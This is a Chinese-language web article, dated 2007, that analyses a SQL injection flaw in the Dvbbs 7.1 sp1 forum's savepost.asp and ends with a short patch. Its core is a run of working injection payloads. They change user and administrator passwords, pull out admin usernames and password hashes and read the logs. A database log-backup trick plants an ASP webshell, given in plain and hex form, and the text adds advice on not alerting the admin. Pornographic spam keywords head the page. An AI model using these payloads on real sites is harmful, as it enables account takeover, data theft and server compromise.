欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

Dvbbs7.1 sp1 SQL版savepost.asp注入漏洞分析、利用及防范

 更新時(shí)間:2007年02月09日 00:00:00   作者:  
一、概述
    漏洞介紹:
http://coolersky.com/leak/programme/bbs/2006/0515/515.html
    前幾天就聽Hak_Ban說有人把dvbbs7的一個(gè)注入漏洞給發(fā)布出去了,一直也沒時(shí)間看看,下午跟Edward要了個(gè)鏈接看了看:
http://www.eviloctal.com/forum/read.php?tid=22074
    本站轉(zhuǎn)貼為:
http://coolersky.com/articles/hack/analysis/programme/2006/0515/238.html
    看了看風(fēng)塵浪子的分析,覺得已經(jīng)分析的挺明白的了,不過群里還是有幾個(gè)朋友搞不太明白,索性在本地搭環(huán)境測(cè)試一下漏洞,感謝keng提供程序,呵呵,實(shí)在懶得去網(wǎng)上找。
    二、漏洞分析
    既然是savepost.asp程序的問題,那就打開改文件,風(fēng)塵浪子已經(jīng)提到是ToolsBuyUser參數(shù)過濾不足,那就看這個(gè)變量。
    32行,定義變量:
Private GetPostType,ToMoney,UseTools,ToolsBuyUser,GetMoneyType,Tools_UseTools,Tools_LastPostTime,ToolsInfo,ToolsSetting
    111行,置空
ToolsBuyUser = ""
    120行,在參數(shù)GetPostType為0時(shí),賦值
ToolsBuyUser = "0|||$SendMoney"
    123行,在參數(shù)GetPostType為1時(shí),賦值
ToolsBuyUser = "0|||$GetMoney"
    139行,在參數(shù)GetPostType為2時(shí),賦值
ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType&"@@@"&Buy_UserList&"|||$PayMoney|||"
    747行,定義sql
SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&ToolsBuyUser&"',"&GetMoneyType&")"
    745行,執(zhí)行sql
Dvbbs.Execute(sql)
    我們看到,在整個(gè)獲得數(shù)據(jù)到提交的過程中,沒有對(duì)ToolsBuyUser參數(shù)進(jìn)行安全過濾,導(dǎo)致了sql注入漏洞。
    三、漏洞利用
    1、注冊(cè)用戶coolersky
    2、選擇發(fā)表新話題
    3、在“選擇帖子類型”中選中“論壇交易帖設(shè)置”
 
    4、在“可購買用戶名單限制:”中寫入
'將自身用戶口令修改為123456
coolersky',0);update dv_user set userpassword='49ba59abbe56e057' where username='coolersky';--
    修改口令后,重新登陸論壇,若使用123456登陸成功,則說明該漏洞尚未修補(bǔ)。
    5、獲得前臺(tái)管理員用戶名和口令,分別放在自定義頭像和簽名中,查看用戶coolersky的基本資料即可看到。
coolersky',0);update dv_user set userface=(select top 1 username from dv_user where userclass='管理員'),usersign=(select top 1 userpassword from dv_user where userclass='管理員') where username='coolersky';--
    6、獲得后臺(tái)管理員用戶名和口令
coolersky',0);update dv_user set userface=(select top 1 username from dv_admin),usersign=(select top 1 password from dv_admin) where username='coolersky';--
    7、通過日志查看后臺(tái)管理密碼
coolersky',0);update dv_user set usersign=(select l_content from dv_log where l_content like '%password2%') where username='coolersky';--
    8、獲得數(shù)據(jù)庫名稱
coolersky',0);update dv_user set userface=(select db_name())where username='coolersky';--
    9、日志差異備份webshell
'替換dbname為上一步獲得的數(shù)據(jù)庫名稱,日志差異備份要db_owner權(quán)限!
'替換d:\web\dvbbs7\為當(dāng)前論壇物理路徑,怎么獲得別來問我!
coolersky',0);alter database dbname set RECOVERY FULL;create table temptt (a image);backup log dbname to disk = 'c:\acool_back' with init;insert into temptt (a) values ('<%execute request("l")%>');backup log dbname to disk = 'd:\web\dvbbs7\temptt.asp';drop table temptt;alter database dbname set RECOVERY SIMPLE;--
    或者
coolersky',0);alter database dbname set RECOVERY FULL;create table temptt (a image);backup log dbname to disk = 'c:\acool_back' with init;insert into temptt (a) values (0x273C2565786563757465207265717565737428226C2229253E27);backup log dbname to disk = ''d:\web\dvbbs7\temptt.asp';drop table temptt;alter database dbname set RECOVERY SIMPLE;--
    使用最小asp木馬客戶端連接即可!
    10、直接修改管理員口令
    通過5、6、7三個(gè)步驟可以獲得管理員前后臺(tái)的用戶名和密碼,至少密碼是16位md5,我們可以通過網(wǎng)絡(luò)查詢或者暴力破解獲得管理員口令來登錄前后臺(tái),但是也很可能沒辦法破解出口令。
    而如果也無法獲得論壇的物理路徑,那么只好通過修改管理員口令來實(shí)現(xiàn)了,當(dāng)然能不改管理員口令還是盡量避免修改,否則馬上就被管理員知道被入侵了。
    (1)獲得前臺(tái)管理員用戶名:
coolersky',0);update dv_user set userface=(select top 1 username from dv_user where userclass='管理員')where username='test';--
    (2)修改前臺(tái)管理員口令:
'假設(shè)我們獲得前臺(tái)管理員用戶名為admin,修改密碼為123456
coolersky',0);update dv_user set userpassword='49ba59abbe56e057' where username='admin';--
    (3)獲得后臺(tái)管理員用戶名:
coolersky',0);update dv_user set userface=(select top 1 username from dv_admin)where username='test';--
    (4)修改后臺(tái)管理員口令:
'假設(shè)我們獲得后臺(tái)管理員用戶名為admin,修改密碼為123456
coolersky',0);update dv_admin set password='49ba59abbe56e057' where username='admin';--
    (5)登錄前臺(tái)上傳mdb構(gòu)造過的asp一句話后門,后臺(tái)back為asp或asa文件即可,如何操作不在本文描述過程中。
    通過以上操作,只要服務(wù)器支持多語句,那么我們還可以對(duì)數(shù)據(jù)庫進(jìn)行更多操作。
    四、漏洞修補(bǔ)
    1、從dvbbs下載最新補(bǔ)丁
http://bbs.dvbbs.net/dispbbs.asp?boardID=8&ID=1187367&page=1
    2、打開savepost.asp文件,將747行
SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&ToolsBuyUser&"',"&GetMoneyType&")"
    修改為:
SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&dvbbs.checkstr(ToolsBuyUser)&"',"&GetMoneyType&")"
    即用dvbbs.checkstr函數(shù)過濾ToolsBuyUser內(nèi)容。

相關(guān)文章

最新評(píng)論